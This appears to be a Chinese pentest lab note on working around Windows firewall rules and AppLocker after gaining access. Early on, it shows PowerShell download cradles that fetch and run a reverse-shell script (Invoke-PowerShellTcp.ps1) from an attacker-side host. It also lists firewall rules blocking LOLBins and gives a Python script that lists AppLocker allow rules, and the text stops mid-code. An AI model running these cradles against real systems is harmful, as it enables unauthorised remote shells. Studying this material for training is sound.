{"id":1064,"date":"2025-02-21T14:40:23","date_gmt":"2025-02-21T06:40:23","guid":{"rendered":"http:\/\/xiyu12.top\/?p=1064"},"modified":"2025-02-21T14:40:23","modified_gmt":"2025-02-21T06:40:23","slug":"%e9%98%b2%e7%81%ab%e5%a2%99%e5%92%8capplocker","status":"publish","type":"post","link":"http:\/\/www.xiyu12.top\/?p=1064","title":{"rendered":"\u9632\u706b\u5899\u548cAppLocker"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u8fdb\u5165\u673a\u5668\u540e\u4f7f\u7528\u7684\u67d0\u4e9b\u547d\u4ee4\u65e0\u6548\uff0c\u67d0\u4e9b\u5de5\u5177\u62a5\u9519\u3002\u4e0b\u8f7d\u811a\u672c\u65f6\u62a5\u9519\uff0c\u53cd\u5f39shell\u65f6\u62a5\u9519\u3002\uff08\u9632\u706b\u5899\u4e0d\u5141\u8bb8\u6d41\u91cf\u51fa\u7ad9\uff09\uff08\u6709\u7b56\u7565\u4e0d\u5141\u8bb8\u6267\u884c\u811a\u672c\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1.wget http:\/\/10.10.14.6\/Invoke-PowerShellTcp.ps1 -outfile Invoke-PowerShellTcp.ps1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>Unable to connect to the remote server<\/code>&nbsp;\u8868\u660e\u65e0\u6cd5\u8fde\u63a5\u5230\u8fdc\u7a0b\u670d\u52a1\u5668<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.iex(new-object net.webclient).downstring(&#8216;http:\/\/10.10.14.6\/Invoke-PowerShellTcp.ps1&#8217;)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">New-Object : Cannot create type. Only core types are supported in this language mode.&nbsp;PowerShell \u6b63\u5904\u4e8e\u53d7\u9650\u8bed\u8a00\u6a21\u5f0f\uff08Constrained Language Mode\uff09\u3002\u5728\u8fd9\u79cd\u6a21\u5f0f\u4e0b\uff0c\u4ec5\u80fd\u521b\u5efa\u6838\u5fc3\u7c7b\u578b\u7684\u5bf9\u8c61\uff0c\u800c&nbsp;<code>System.Net.WebClient<\/code>&nbsp;\u5e76\u975e\u6838\u5fc3\u7c7b\u578b\uff0c\u6240\u4ee5\u65e0\u6cd5\u521b\u5efa\u8be5\u5bf9\u8c61\u5b9e\u4f8b\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3.iex (Invoke-WebRequest -Uri &#8216;http:\/\/10.10.14.6\/Invoke-PowerShellTcp.ps1&#8217;).Content<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>Unable to connect to the remote server<\/code>&nbsp;\u8868\u660e\u65e0\u6cd5\u8fde\u63a5\u5230\u8fdc\u7a0b\u670d\u52a1\u5668<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b\u9632\u706b\u5899\u5f53\u524d\u5e94\u7528\uff08enable\uff09\u7684\u89c4\u5219\uff08\u7b5b\u9009\u51fablock\u963b\u6b62\u7684\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;Get-NetFirewallRule -PolicyStore ActiveStore | where { $_.Action -eq &#8220;Block&#8221; }<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Name                          : {A9F56E20-EEC3-4474-AEDD-2C72408DBAFF}\nDisplayName                   : cscript64\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {37DD9C06-43BA-420D-B50A-F16D8A85ACA5}\nDisplayName                   : cscript32\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {A5EE88CD-85E3-4BDA-9756-CA00802B6592}\nDisplayName                   : ps32\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {9D90923C-1CCE-44B8-8FFD-1FB016DBD575}\nDisplayName                   : ps64\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {100DB01E-6F22-45DF-BC8C-953D2836E62D}\nDisplayName                   : ps ISE32\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {917B2A3C-8672-4393-A579-F8AA02FE7ECE}\nDisplayName                   : ps ISE64\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {278F752C-D1EE-4A5A-8CC4-8A73CA916E22}\nDisplayName                   : regsvr32-64\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {C8F663E1-9CAB-4986-A10E-EFAF4F0C3D8D}\nDisplayName                   : regsvr32-32\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {8E85F6E9-0E72-41C0-8D54-A7B8FEE9DD27}\nDisplayName                   : rundll32-64\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {103B780E-266E-43FD-B65B-1AE9D269F85D}\nDisplayName                   : rundll32-32\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {AF1FD765-9EA8-4CFF-9721-48F5B623A384}\nDisplayName                   : wscript32\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {49C58F31-CADE-4387-BCB2-73A2187671E1}\nDisplayName                   : wscript64\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {C0A660EF-84B7-4DC1-985B-30789746293B}\nDisplayName                   : certutil64\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {F1684248-1A57-4A9E-BED5-0E9F6A749250}\nDisplayName                   : certutil32\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {57E22581-16AB-4673-B2EA-8637BC07BB83}\nDisplayName                   : certoc\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n\nName                          : {D7871DF0-F71B-4BD0-B7DE-F8E6966A3640}\nDisplayName                   : Block Autoit\nDescription                   : \nDisplayGroup                  : \nGroup                         : \nEnabled                       : True\nProfile                       : Any\nPlatform                      : {}\nDirection                     : Outbound\nAction                        : Block\nEdgeTraversalPolicy           : Block\nLooseSourceMapping            : False\nLocalOnlyMapping              : False\nOwner                         : \nPrimaryStatus                 : OK\nStatus                        : The rule was parsed successfully from the store. (65536)\nEnforcementStatus             : {DisabledInProfile, ProfileInactive, Enforced}\nPolicyStoreSource             : \nPolicyStoreSourceType         : GroupPolicy\nRemoteDynamicKeywordAddresses : {}\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u57fa\u4e8e IP \u5730\u5740\u7684\u89c4\u5219<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u4f5c\u7528<\/strong>\uff1a\u6839\u636e\u6e90 IP \u5730\u5740\u6216\u76ee\u6807 IP \u5730\u5740\u6765\u51b3\u5b9a\u662f\u5426\u5141\u8bb8\u6d41\u91cf\u901a\u8fc7\u3002\u53ef\u4ee5\u9488\u5bf9\u5355\u4e2a IP \u5730\u5740\u3001IP \u5730\u5740\u6bb5\u6216\u5b50\u7f51\u8fdb\u884c\u8bbe\u7f6e\u3002<\/li>\n\n\n\n<li><strong>\u793a\u4f8b<\/strong>\uff1a\u963b\u6b62\u6765\u81ea\u67d0\u4e2a\u7279\u5b9a IP \u5730\u5740\uff08\u5982 1.2.3.4\uff09\u7684\u6240\u6709\u6d41\u91cf\uff1b\u5141\u8bb8\u6765\u81ea\u5185\u90e8\u5c40\u57df\u7f51 IP \u5730\u5740\u6bb5\uff08\u5982 192.168.1.0\/24\uff09\u7684\u6d41\u91cf\u901a\u8fc7\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u57fa\u4e8e\u7aef\u53e3\u53f7\u7684\u89c4\u5219<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u4f5c\u7528<\/strong>\uff1a\u6839\u636e TCP \u6216 UDP \u7aef\u53e3\u53f7\u6765\u8fc7\u6ee4\u6d41\u91cf\u3002\u4e0d\u540c\u7684\u7f51\u7edc\u670d\u52a1\u4f7f\u7528\u4e0d\u540c\u7684\u7aef\u53e3\u53f7\uff0c\u901a\u8fc7\u63a7\u5236\u7aef\u53e3\u53ef\u4ee5\u9650\u5236\u5bf9\u7279\u5b9a\u670d\u52a1\u7684\u8bbf\u95ee\u3002<\/li>\n\n\n\n<li><strong>\u793a\u4f8b<\/strong>\uff1a\u53ea\u5141\u8bb8\u672c\u5730\u8ba1\u7b97\u673a\u7684 TCP 8080 \u7aef\u53e3\u63a5\u6536\u5916\u90e8\u7684 HTTP \u8bf7\u6c42\uff1b\u7981\u6b62\u6240\u6709 UDP 53 \u7aef\u53e3\uff08DNS \u670d\u52a1\u5e38\u7528\u7aef\u53e3\uff09\u7684\u51fa\u7ad9\u6d41\u91cf\uff0c\u9632\u6b62 DNS \u6cc4\u9732\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u57fa\u4e8e\u534f\u8bae\u7684\u89c4\u5219<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u4f5c\u7528<\/strong>\uff1a\u4f9d\u636e\u7f51\u7edc\u534f\u8bae\uff08\u5982 TCP\u3001UDP\u3001ICMP \u7b49\uff09\u6765\u51b3\u5b9a\u662f\u5426\u5141\u8bb8\u6d41\u91cf\u901a\u8fc7\u3002\u4e0d\u540c\u7684\u534f\u8bae\u7528\u4e8e\u4e0d\u540c\u7c7b\u578b\u7684\u7f51\u7edc\u901a\u4fe1\uff0c\u901a\u8fc7\u9650\u5236\u534f\u8bae\u53ef\u4ee5\u63a7\u5236\u7279\u5b9a\u7c7b\u578b\u7684\u6d41\u91cf\u3002<\/li>\n\n\n\n<li><strong>\u793a\u4f8b<\/strong>\uff1a\u5141\u8bb8 TCP \u534f\u8bae\u7684\u6d41\u91cf\u901a\u8fc7\uff0c\u4f46\u963b\u6b62 UDP \u534f\u8bae\u7684\u6d41\u91cf\uff1b\u7981\u6b62 ICMP \u534f\u8bae\u7684\u6d41\u91cf\uff0c\u9632\u6b62\u5916\u90e8\u901a\u8fc7 Ping \u547d\u4ee4\u63a2\u6d4b\u672c\u5730\u7f51\u7edc\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u57fa\u4e8e\u5e94\u7528\u7a0b\u5e8f\u7684\u89c4\u5219<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u4f5c\u7528<\/strong>\uff1a\u6839\u636e\u8fd0\u884c\u7684\u5e94\u7528\u7a0b\u5e8f\u6765\u63a7\u5236\u7f51\u7edc\u6d41\u91cf\u3002\u53ef\u4ee5\u5141\u8bb8\u6216\u963b\u6b62\u7279\u5b9a\u5e94\u7528\u7a0b\u5e8f\u8bbf\u95ee\u7f51\u7edc\u3002<\/li>\n\n\n\n<li><strong>\u793a\u4f8b<\/strong>\uff1a\u53ea\u5141\u8bb8\u6d4f\u89c8\u5668\uff08\u5982 Chrome\u3001Firefox\uff09\u8bbf\u95ee\u4e92\u8054\u7f51\uff0c\u7981\u6b62\u5176\u4ed6\u672a\u6388\u6743\u7684\u5e94\u7528\u7a0b\u5e8f\u8fde\u63a5\u7f51\u7edc\uff1b\u963b\u6b62\u67d0\u4e2a\u5df2\u77e5\u7684\u6076\u610f\u8f6f\u4ef6\u5e94\u7528\u7a0b\u5e8f\u4e0e\u5916\u90e8\u901a\u4fe1<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Get-Help Get-AppLockerPolicy<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\nNAME\n    Get-AppLockerPolicy\n    \nSYNOPSIS\n    Gets the local, the effective, or a domain AppLocker policy.\n    \n    \nSYNTAX\n    Get-AppLockerPolicy -Domain -Ldap &lt;String&gt; &#91;-Xml] &#91;&lt;CommonParameters&gt;]\n    \n    Get-AppLockerPolicy -Effective &#91;-Xml] &#91;&lt;CommonParameters&gt;]\n    \n    Get-AppLockerPolicy -Local &#91;-Xml] &#91;&lt;CommonParameters&gt;]\n    \n    \nDESCRIPTION\n    The Get-AppLockerPolicy cmdlet retrieves the AppLocker policy from the local Group Policy Object (GPO), a \n    specified GPO, or the GP-deployed effective policy on the computer.\n    \n    By default, the output is an AppLockerPolicy object. If the Xml parameter is used, then the output will be the \n    AppLocker policy as an XML-formatted string.\n    \n    Note that the Get-AppLockerPolicy cmdlet only functions with policies deployed via GP. It does not have any \n    knowledge of the AppLocker CSP, so it will return incorrect data if the policy in place has been applied via the \n    CSP.\n    \n\nRELATED LINKS\n    Online Version: https:\/\/docs.microsoft.com\/powershell\/module\/applocker\/get-applockerpolicy?view=windowsserver2022-p\n    s&amp;wt.mc_id=ps-gethelp\n    Get-AppLockerFileInformation \n    New-AppLockerPolicy \n    Set-AppLockerPolicy \n    Test-AppLockerPolicy \n\nREMARKS\n    To see the examples, type: \"get-help Get-AppLockerPolicy -examples\".\n    For more information, type: \"get-help Get-AppLockerPolicy -detailed\".\n    For technical information, type: \"get-help Get-AppLockerPolicy -full\".\n    For online help, type: \"get-help Get-AppLockerPolicy -online\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"> Get-AppLockerPolicy -Effective -Xml<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><code>&lt;FilePublisherRule&gt;<\/code><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4f9d\u636e\u53d1\u5e03\u8005\u4fe1\u606f<\/strong>\uff1a\u8be5\u89c4\u5219\u57fa\u4e8e\u6587\u4ef6\u7684\u6570\u5b57\u7b7e\u540d\u4fe1\u606f\u6765\u8fdb\u884c\u5224\u65ad\uff0c\u4e3b\u8981\u4f9d\u636e\u5305\u62ec\u53d1\u5e03\u8005\u7684\u540d\u79f0\uff08\u5982\u516c\u53f8\u540d\u79f0\uff09\u3001\u4ea7\u54c1\u540d\u79f0\u3001\u4e8c\u8fdb\u5236\u6587\u4ef6\u540d\u79f0\u4ee5\u53ca\u6587\u4ef6\u7684\u7248\u672c\u8303\u56f4\u3002\u901a\u8fc7\u8fd9\u4e9b\u4fe1\u606f\uff0c\u53ef\u4ee5\u7cbe\u786e\u5730\u63a7\u5236\u54ea\u4e9b\u7531\u7279\u5b9a\u53d1\u5e03\u8005\u7b7e\u540d\u7684\u6587\u4ef6\u53ef\u4ee5\u8fd0\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><code>&lt;FilePathRule&gt;<\/code><\/strong>\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4f9d\u636e\u6587\u4ef6\u8def\u5f84<\/strong>\uff1a\u8be5\u89c4\u5219\u6839\u636e\u6587\u4ef6\u6240\u5728\u7684\u8def\u5f84\u6765\u51b3\u5b9a\u662f\u5426\u5141\u8bb8\u6587\u4ef6\u8fd0\u884c\u3002\u53ef\u4ee5\u6307\u5b9a\u5177\u4f53\u7684\u6587\u4ef6\u8def\u5f84\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u901a\u914d\u7b26\u6765\u5339\u914d\u4e00\u7ec4\u6587\u4ef6\u8def\u5f84\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>&lt;FilePathRule&gt;<\/code><\/strong>\uff1a\u7528\u4e8e\u5b9a\u4e49\u57fa\u4e8e\u6587\u4ef6\u8def\u5f84\u7684 AppLocker \u89c4\u5219\uff0c\u8be5\u89c4\u5219\u53ef\u4ee5\u51b3\u5b9a\u662f\u5426\u5141\u8bb8\u7279\u5b9a\u8def\u5f84\u4e0b\u7684\u6587\u4ef6\uff08\u5982 DLL\u3001EXE \u7b49\uff09\u88ab\u6267\u884c\u6216\u52a0\u8f7d\u3002<\/li>\n\n\n\n<li><strong><code>&lt;Conditions&gt;<\/code><\/strong>\uff1a\u5b9a\u4e49\u89c4\u5219\u751f\u6548\u7684\u6761\u4ef6\uff0c\u53ea\u6709\u5f53\u6587\u4ef6\u6ee1\u8db3\u8fd9\u4e9b\u6761\u4ef6\u65f6\uff0c\u89c4\u5219\u624d\u4f1a\u5e94\u7528\u5230\u8be5\u6587\u4ef6\u4e0a\u3002<\/li>\n\n\n\n<li><strong><code>&lt;Exceptions&gt;<\/code><\/strong>\uff1a\u5b9a\u4e49\u89c4\u5219\u7684\u4f8b\u5916\u60c5\u51b5\uff0c\u5373\u5f53\u6587\u4ef6\u6ee1\u8db3&nbsp;<code>&lt;Conditions&gt;<\/code>&nbsp;\u6761\u4ef6\uff0c\u4f46\u540c\u65f6\u4e5f\u6ee1\u8db3&nbsp;<code>&lt;Exceptions&gt;<\/code>&nbsp;\u4e2d\u5b9a\u4e49\u7684\u6761\u4ef6\u65f6\uff0c\u89c4\u5219\u5c06\u4e0d\u5e94\u7528\u5230\u8be5\u6587\u4ef6\u4e0a\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u89c4\u5219\u7684\u987a\u5e8f\u51b3\u5b9a\u4e86\u5b83\u4eec\u7684\u8bc4\u4f30\u987a\u5e8f  \u5148\u547d\u4e2d\u4f1a\u88ab\u6267\u884c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u963b\u6b62\u89c4\u5219\u7684\u4f18\u5148\u7ea7\u4f1a\u76f8\u5bf9\u8f83\u9ad8<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b56\u7565\u6807\u7b7e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;AppLockerPolicy>\n   &lt;RuleCollection>\n       &lt;FilePathRule>\n           &lt;Conditions>\n           &lt;Exceptions>\n        &lt;\/FilePathRule>\n       &lt;FilePublisherRule>\n       &lt;\/FilePublisherRule>\n   &lt;\/RuleCollection>\n&lt;\/AppLockerPolicy>\n              \n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import xml.etree.ElementTree as ET\n\ndef process_publisher_rule(rule):\n    \"\"\"\n    \u5904\u7406\u53d1\u5e03\u8005\u89c4\u5219\n    :param rule: \u53d1\u5e03\u8005\u89c4\u5219\u5143\u7d20\n    :return: \u89c4\u5219\u4fe1\u606f\u5b57\u5178\n    \"\"\"\n    rule_id = rule.get('Id')\n    rule_name = rule.get('Name')\n    user_or_group_sid = rule.get('UserOrGroupSid')\n    action = rule.get('Action')\n\n    condition = rule.find('Conditions\/FilePublisherCondition')\n    publisher_name = condition.get('PublisherName')\n    product_name = condition.get('ProductName')\n    binary_name = condition.get('BinaryName')\n    version_range = f\"{condition.find('BinaryVersionRange').get('LowSection')} - {condition.find('BinaryVersionRange').get('HighSection')}\"\n\n    return {\n        'id': rule_id,\n        'name': rule_name,\n        'user_or_group_sid': user_or_group_sid,\n        'action': action,\n        'publisher_name': publisher_name,\n        'product_name': product_name,\n        'binary_name': binary_name,\n        'version_range': version_range\n    }\n\ndef process_path_rule(rule):\n    \"\"\"\n    \u5904\u7406\u6587\u4ef6\u8def\u5f84\u89c4\u5219\n    :param rule: \u6587\u4ef6\u8def\u5f84\u89c4\u5219\u5143\u7d20\n    :return: \u89c4\u5219\u4fe1\u606f\u5b57\u5178\n    \"\"\"\n    rule_id = rule.get('Id')\n    rule_name = rule.get('Name')\n    user_or_group_sid = rule.get('UserOrGroupSid')\n    action = rule.get('Action')\n\n    path_conditions = &#91;cond.get('Path') for cond in rule.findall('Conditions\/FilePathCondition')]\n    exceptions = &#91;exc.get('Path') for exc in rule.findall('Exceptions\/FilePathCondition')]\n\n    return {\n        'id': rule_id,\n        'name': rule_name,\n        'user_or_group_sid': user_or_group_sid,\n        'action': action,\n        'path_conditions': path_conditions,\n        'exceptions': exceptions\n    }\n\ndef main(xml_file_path):\n    \"\"\"\n    \u4e3b\u51fd\u6570\uff0c\u89e3\u6790 XML \u6587\u4ef6\u5e76\u5904\u7406\u89c4\u5219\n    :param xml_file_path: XML \u6587\u4ef6\u8def\u5f84\n    \"\"\"\n    try:\n        # \u89e3\u6790 XML \u6587\u4ef6\n        tree = ET.parse(xml_file_path)\n        root = tree.getroot()\n\n        # \u7528\u4e8e\u5b58\u50a8\u6309\u7c7b\u578b\u5206\u7c7b\u7684\u89c4\u5219\n        categorized_rules = {}\n\n        # \u904d\u5386\u89c4\u5219\u96c6\u5408\n        for rule_collection in root.findall('RuleCollection'):\n            collection_type = rule_collection.get('Type')\n            if rule_collection.get('EnforcementMode') == 'Enabled':\n                # \u521d\u59cb\u5316\u8be5\u7c7b\u578b\u7684\u89c4\u5219\u5217\u8868\n                if collection_type not in categorized_rules:\n                    categorized_rules&#91;collection_type] = {\n                        'publisher_rules': &#91;],\n                        'path_rules': &#91;]\n                    }\n\n                # \u5904\u7406\u53d1\u5e03\u8005\u89c4\u5219\n                for publisher_rule in rule_collection.findall('FilePublisherRule'):\n                    if publisher_rule.get('Action') == 'Allow':\n                        rule_info = process_publisher_rule(publisher_rule)\n                        categorized_rules&#91;collection_type]&#91;'publisher_rules'].append(rule_info)\n\n                # \u5904\u7406\u6587\u4ef6\u8def\u5f84\u89c4\u5219\n                for path_rule in rule_collection.findall('FilePathRule'):\n                    if path_rule.get('Action') == 'Allow':\n                        rule_info = process_path_rule(path_rule)\n                        categorized_rules&#91;collection_type]&#91;'path_rules'].append(rule_info)\n\n        # \u8f93\u51fa\u6309\u7c7b\u522b\u5206\u7c7b\u7684\u89c4\u5219\n        for collection_type, rules in categorized_rules.items():\n            print(f\"Rule Collection Type: {collection_type}\")\n            print(\"  Publisher Rules:\")\n            for pub_rule in rules&#91;'publisher_rules']:\n                print(f\"    ID: {pub_rule&#91;'id']}, Name: {pub_rule&#91;'name']}, User\/Group SID: {pub_rule&#91;'user_or_group_sid']}, Action: {pub_rule&#91;'action']}\")\n                print(f\"      Publisher Name: {pub_rule&#91;'publisher_name']}\")\n                print(f\"      Product Name: {pub_rule&#91;'product_name']}\")\n                print(f\"      Binary Name: {pub_rule&#91;'binary_name']}\")\n                print(f\"      Version Range: {pub_rule&#91;'version_range']}\")\n            print(\"  Path Rules:\")\n            for path_rule in rules&#91;'path_rules']:\n                print(f\"    ID: {path_rule&#91;'id']}, Name: {path_rule&#91;'name']}, User\/Group SID: {path_rule&#91;'user_or_group_sid']}, Action: {path_rule&#91;'action']}\")\n                print(\"      Path Conditions:\")\n                for condition in path_rule&#91;'path_conditions']:\n                    print(f\"        {condition}\")\n                if path_rule&#91;'exceptions']:\n                    print(\"      Exceptions:\")\n                    for exception in path_rule&#91;'exceptions']:\n                        print(f\"        {exception}\")\n            print()\n\n    except 